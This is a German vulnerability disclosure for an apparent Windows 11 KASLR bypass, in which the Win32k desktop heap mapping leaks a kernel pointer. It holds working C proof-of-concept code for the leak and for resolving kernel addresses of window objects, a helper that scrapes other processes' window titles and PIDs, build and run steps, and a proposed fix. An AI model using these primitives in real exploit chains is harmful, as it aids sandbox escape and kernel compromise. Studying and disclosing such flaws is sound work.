CVE-2026-50416: Windows 11 KASLR-Umgehung
Im Windows 11 Insider-Build 10.0.28020.2149 legte die User-Mode-Zuordnung des Win32k-Desktop-Heaps einen rohen Kernel-Session-Pool-Zeiger bei Offset 0x100 offen.
Der Lesezugriff selbst ist beinahe beleidigend klein:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
In meiner Testsitzung lieferte das:
0xffffc600dcc00040
Der Wert blieb über Prozesse hinweg auf demselben Desktop identisch und änderte sich nach einem Neustart. Ein Prozess, der auf einem anderen Desktop gestartet wurde, erhielt einen anderen Wert, da er einen anderen Desktop-Heap hatte. Aus diesem einen QWORD gewann der PoC die Kernel-Basis des Desktop-Heaps und nutzte anschließend user32!gSharedInfo, um die Kernel-Adressen aktiver Fensterobjekte abzuleiten.
Derselbe Lesezugriff funktionierte aus Low Integrity, AppContainer, einer LPAC-Konfiguration mit null Fähigkeiten sowie einem Low-Integrity-AppContainer-Kindprozess mit null Fähigkeiten.
Der Desktop-Heap soll geteilt sein. Der Kernel-Zeiger ist es nicht.
Win32k speichert USER-Objekte wie Fenster, Menüs, Klassen, Hooks und zugehörige Metadaten in Desktop-Heaps. Jeder Desktop besitzt seinen eigenen Heap. Ein Teil dieses Heaps wird in Prozesse abgebildet, die mit dem Desktop verbunden sind, damit der User Mode gemeinsamen GUI-Zustand lesen kann, ohne den Kernel für jedes Feld zu befragen.
Im getesteten x64-Build ist die User-Mode-Zuordnung über die Client-Daten des aktuellen Thread-TEB erreichbar:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Die Offsets sind buildspezifisch, aber der Weg ist einfach:
GS:[0x30]
-> TEB
-> ClientInfo bei TEB + 0x800
-> ClientInfo[5]
-> User-Mode-Desktop-Heap-Zuordnung
Der PoC ruft VirtualQuery auf die zurückgegebene Adresse auf und zeichnet die zugeordnete Region sowie deren Schutz auf. Bisher ist nichts schiefgelaufen. Eine schreibgeschützte Desktop-Heap-Zuordnung ist normales Win32k-Verhalten.
Das Problem beginnt 256 Bytes weiter.
Der Haupt-PoC liest ein QWORD aus dem zugeordneten Heap:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Der Wert bestand die grundlegenden Prüfungen, die von einer Kernel-Virtualadresse auf dem getesteten System erwartet werden:
Der Stabilitätstest erstellt STATIC-, BUTTON- und EDIT-Fenster, liest den Wert vor der Erstellung, liest ihn erneut, während die Fenster existieren, zerstört sie und liest ihn ein drittes Mal.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Alle drei Lesezugriffe lieferten denselben Wert. Die Fensterzuordnungsaktivität bewegte ihn nicht. Dieses Verhalten ist konsistent mit einem Feld in den Desktop-Heap-Metadaten und nicht mit einem kurzlebigen Objektzeiger.
Die prozessübergreifende Eigenschaft ist ebenso wichtig. Zwei Prozesse, die mit demselben Desktop verbunden sind, beobachten denselben geleakten Wert, da sie auf denselben Desktop-Heap blicken. Nach einem Neustart weist KASLR der Sitzung eine neue Adresse zu. Ein Kindprozess auf einem anderen Desktop beobachtet einen anderen Zeiger, da dieser Desktop einen anderen Heap besitzt.
Das verleiht dem Leak eine nützliche Identität:
gleicher Boot + gleicher Desktop -> gleicher Zeiger
gleicher Boot + anderer Desktop -> anderer Zeiger
neuer Boot -> anderer Zeiger
Im getesteten Build sitzt der geleakte Zeiger 0x40 Bytes über der Kernel-Basis des Desktop-Heaps, die der PoC verwendet:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Mit dem aufgezeichneten Sitzungswert:
geleakter Zeiger = 0xffffc600dcc00040
Kernel-Desktop-Heap-Basis = 0xffffc600dcc00000
Diese Beziehung ist buildspezifisch. Für den während der Tests verwendeten Build liefert sie den kernelseitigen Anker, der für den nächsten Schritt benötigt wird.
Ein Zeiger ist bereits nützlich. Eine Adresse für ein ausgewähltes Objekt ist viel nützlicher.
user32.dll exportiert gSharedInfo, das die USER-Handle-Eintragsliste und die Größe jedes Eintrags offenlegt:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
Ein HWND enthält einen Index in die USER-Handle-Tabelle. Der PoC nimmt die unteren 16 Bits des Handles, geht zum passenden Eintrag und liest den dort gespeicherten Desktop-Heap-Offset.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
Derselbe Offset benennt das Objekt in beiden Zuordnungen:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Die vollständige Berechnung lautet also:
Kernel-Desktop-Heap-Basis = desktop_heap[0x100] - 0x40
Handle-Index = HWND & 0xffff
Heap-Offset = aheList[Handle-Index].offset
Kernel-Fensteradresse = Kernel-Desktop-Heap-Basis + Heap-Offset
Der PoC erstellt sechs Fensterklassen und führt die Berechnung für jede davon durch:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXFür jedes Objekt gibt er das HWND, den Handle-Index, die User-Mode-Objektadresse, den Heap-Offset und die Kernel-Adresse aus.
HWND
-> niedriger 16-Bit-Handle-Index
-> gSharedInfo-Handle-Eintrag
-> Desktop-Heap-Offset
-> Kernel-Desktop-Heap-Basis + Offset
-> Kernel-Adresse dieses Fensterobjekts
Dies ist der Teil, der die Offenlegung von einem losen Kernel-Zeiger in ein Adress-Orakel für ausgewählte USER-Objekte auf dem getesteten Desktop-Heap verwandelt.
Der Desktop-Heap kommt über eine gemeinsame Zuordnung. Integritätsstufen und AppContainer-Einschränkungen schreiben die Inhalte dieser Zuordnung nicht für jeden Prozess neu. Wenn der Prozess den Desktop-Heap erhält, erhält er auch das QWORD bei 0x100 mit.
Der Sandbox-PoC startet Kindprozesse in mehreren Kontexten und lässt jeden Kindprozess den Wert aus seinem eigenen TEB und seiner eigenen Desktop-Heap-Zuordnung lesen.
| Kontext | Konfiguration | Ergebnis |
|---|---|---|
| Medium Integrity | Standard-Benutzerprozess | Geleakt |
| Low Integrity | Token-Integrität auf Low gesenkt | Geleakt |
| AppContainer | Null angeforderte Fähigkeiten | Geleakt |
| LPAC-Konfiguration | Alle Anwendungspakete Opt-out-Richtlinie, null angeforderte Fähigkeiten | Geleakt |
| Low Integrity AppContainer | Low IL plus AppContainer, null angeforderte Fähigkeiten | Geleakt |
| Alternativer Desktop | Kindprozess einem neuen Desktop zugewiesen | Anderer Wert geleakt |
Die ersten fünf Kindprozesse waren mit dem Standard-Desktop verbunden und lieferten dieselbe Adresse. Der Kindprozess auf dem alternativen Desktop lieferte eine andere Adresse, da er einen anderen Desktop-Heap erhielt.
Die Kindprozess-Ausgabe hat ein kompaktes Format, damit der Elternprozess Ergebnisse vergleichen kann:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
Der strengere Helfer zeichnet auch den Token-Zustand und die Fähigkeitsanzahl auf:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
Das wichtige Detail ist nicht, dass der Kindprozess eine spezielle Win32k-API aufrufen kann. Er braucht keine. Sobald die Zuordnung vorhanden ist, ist der Leak ein normaler User-Mode-Speicherlesezugriff.
Ein separater Helfer führt den Lesezugriff ohne Aufruf von CreateWindow durch.
Er prüft den Desktop-Heap-Zeiger, liest desktop_heap[0x100], lädt explizit user32.dll, prüft die Zuordnung erneut und erstellt dennoch nie ein Fenster. Ein weiterer rendererähnlicher Kindprozess lädt user32.dll, führt denselben Lesezugriff durch und beendet sich, ohne ein Fenster zu erstellen.
Das nützliche Ergebnis ist unkompliziert:
Es muss kein Fensterobjekt erstellt werden, bevor das geleakte QWORD gelesen wird.
Der Leak gehört zur Desktop-Heap-Zuordnung selbst, nicht zu einem Fenster, das vom angreifenden Prozess erstellt wurde.
supporting_proof_remote_trigger.c erstellt einen Low-Integrity-AppContainer-Kindprozess mit null angeforderten Fähigkeiten. Der Kindprozess erledigt nur eine kleine Menge Arbeit:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Aufgezeichnete Ausgabe:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
Das demonstriert den Lesezugriff aus einer rendererähnlichen Token-Konfiguration. Ein separater Browser-Speicherkorruptionsfehler, der bereits nativen Code in einem solchen Prozess ermöglicht, bräuchte keine weitere Informationsoffenlegung, bevor dieser Desktop-Heap-Zeiger gelesen wird.
Sobald ich einen zuverlässigen Zeiger hatte, scannte ich die zugeordnete Region, um zu sehen, was sonst noch vorhanden war.
Der Scanner fand pro Lauf sechs bis zehn zusätzliche eindeutige QWORD-Werte, die dieselben kanonischen Adress- und Ausrichtungsprüfungen bestanden. Die genaue Anzahl änderte sich mit der Desktop-Aktivität. Offset 0x100 war der stabile primäre Leak, aber nicht der einzige Wert mit Kernel-Adressform in der Zuordnung.
Der Sensibledaten-Helfer zählt Top-Level-Fenster mit EnumWindows auf, sammelt deren besitzende PIDs und Titel und durchsucht dann die Desktop-Heap-Zuordnung nach denselben Titeln als UTF-16-Zeichenketten.
Im aufgezeichneten Lauf fand er zwanzig eindeutige Titel, die anderen Prozessen gehörten. Die Beispiele umfassten Browser-Tabs, Discord, Explorer, Spotify und System-Tray-Fenster.
Das Programm gibt einen Titel nur aus, wenn beide Bedingungen erfüllt sind:
EnumWindows meldet ein Fenster mit diesem Titel und einer besitzenden PID, die sich vom Testprozess unterscheidet.Das macht die Ausgabe leicht verifizierbar, anstatt sich auf zufällige druckbare Zeichenketten im Speicher zu verlassen.
Der Helfer scannt auch DWORD-Werte in der Zuordnung. Ein Wert wird nur gezählt, wenn:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) für ihn erfolgreich ist.EnumWindows gefunden wurde.Der aufgezeichnete Lauf fand 605 passende DWORD-Vorkommen. Das ist eine Zählung von Vorkommen im Heap, nicht 605 eindeutige Prozesse. Dieselbe PID kann mehr als einmal erscheinen.
Der Helfer erstellt ein EDIT-Steuerelement mit ES_PASSWORD, setzt dessen Text auf SecretPassword123 und durchsucht die zugeordnete Region nach dem SecretP-Präfix. Es wurde im getesteten Lauf nicht gefunden.
Die Zuordnung legte also Titel, PID-Vorkommen und kernelartige Werte offen, während die getestete Passwortzeichenkette dort nicht erschien.
Bei einem Win32k-Speicherkorruptionsfehler ist das Wissen, dass ein Objekt existiert, nicht dasselbe wie das Wissen, wo es im Kernel-Speicher lebt.
Ohne die Offenlegung muss der Angreifer mit einer unbekannten Desktop-Heap-Basis und unbekannten Objektadressen umgehen. Mit der Offenlegung wird die Adressseite zu:
ein QWORD lesen
0x40 subtrahieren
den Ziel-Handle-Eintrag lesen
dessen Heap-Offset addieren
Für ein ausgewähltes HWND hat der Angreifer nun die entsprechende Kernel-Desktop-Heap-Adresse im getesteten Build. Das kann helfen bei:
Der Leak löst das Adressproblem. Heap-Formung, Objektersetzung und die Speicherkorruptionsprimitive bleiben separate Teile des Exploits.
Diese Trennung ist wichtig. KASLR stoppt keine Speicherkorruption. Es macht zuverlässiges Targeting schwieriger. Dieses QWORD entfernt diese Unsicherheit für die Desktop-Heap-Region, die der PoC verwendet.
Windows 11 Insider Build 10.0.28020.2149
Standard-Benutzer
Medium-Integritäts-Baseline
kaslr_bypass_poc.c: Haupt-PoC für Leak und Fensteradress-Auflösungkaslr_sandbox_proof.c: Tests für Medium IL, Low IL, AppContainer, LPAC-Konfiguration, Low IL AppContainer und alternativen Desktopsupporting_proof_no_window.c: Lesezugriff ohne Erstellung eines Fensterssupporting_proof_no_caps_lpac.c: AppContainer- und LPAC-Konfigurationen mit null Fähigkeitensupporting_proof_sensitive_data.c: Titel, PID-Vorkommen, zusätzlicher Zeiger-Scan und Passwortfeld-Prüfungsupporting_proof_exploitability.c: sechs Fensterklassen und Kernel-Adressberechnungensupporting_proof_remote_trigger.c: rendererähnlicher Low-IL-AppContainer-Kindprozesscompile.bat: Build-MenüAusführen:
compile.bat
Ziel aus dem Menü auswählen.
Der Haupt-PoC kann auch direkt aus einer Visual-Studio-Entwickler-Eingabeaufforderung kompiliert werden:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib
Den Haupt-PoC zweimal ohne Neustart ausführen:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe
Der Zeiger bei desktop_heap + 0x100 sollte in beiden Läufen identisch sein.
Ein zweites Terminal öffnen und von einem anderen Prozess auf demselben Desktop ausführen. Der Wert sollte erneut übereinstimmen.
Neu starten und wiederholen. Der Wert sollte sich ändern.
kaslr_sandbox_proof.exe
Der Test startet jeden Kindprozess, erfasst dessen Ausgabe und vergleicht die geleakten Werte. Kindprozesse auf dem Standard-Desktop sollten denselben Wert melden. Der Kindprozess auf dem alternativen Desktop sollte einen anderen Wert melden.
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe
Jeder Helfer isoliert einen Teil des Ergebnisses, sodass er ohne Durchsicht der Ausgabe des vollständigen PoC reproduziert werden kann.
Die User-Mode-Zuordnung sollte keine rohen Kernel-Virtualadressen enthalten.
Der kleinste Fix besteht darin, das Desktop-Heap-Header-Feld zu bereinigen, bevor die Seite im User Mode sichtbar wird. Windows verwendet bereits einen undurchsichtigen 0x6000000000-Wert für andere Desktop-Heap-Zeigerfelder, sodass dieselbe Art der Ersetzung hier verwendet werden könnte, wenn der User Mode das Feld weiterhin benötigt.
Wenn der User Mode die Header-Seite nicht benötigt, ist der sauberere Fix, diese Seite nicht in der gemeinsamen Zuordnung offenzulegen.
Der Regressionstest ist einfach: Prozesse bei Medium IL, Low IL, AppContainer und LPAC-Konfigurationen erstellen, den Desktop-Heap abbilden und jede kanonische Kernel-Adresse ablehnen, die im benutzersichtbaren Header gefunden wird.
Die gesamte Kette beginnt mit einem gewöhnlichen Lesezugriff aus einer schreibgeschützten Zuordnung:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Dieses QWORD identifiziert den Kernel-Desktop-Heap. gSharedInfo liefert den pro-Objekt-Offset. Zusammen verwandeln sie ein User-Mode-HWND in die entsprechende Kernel-Adresse im getesteten Build.
Hier versteckt sich kein komplizierter Trigger. Windows legte den Desktop-Heap dorthin, wo der User Mode ihn lesen konnte, und ließ dann einen Kernel-Zeiger in dem Teil zurück, den es teilte.
Ein QWORD war genug.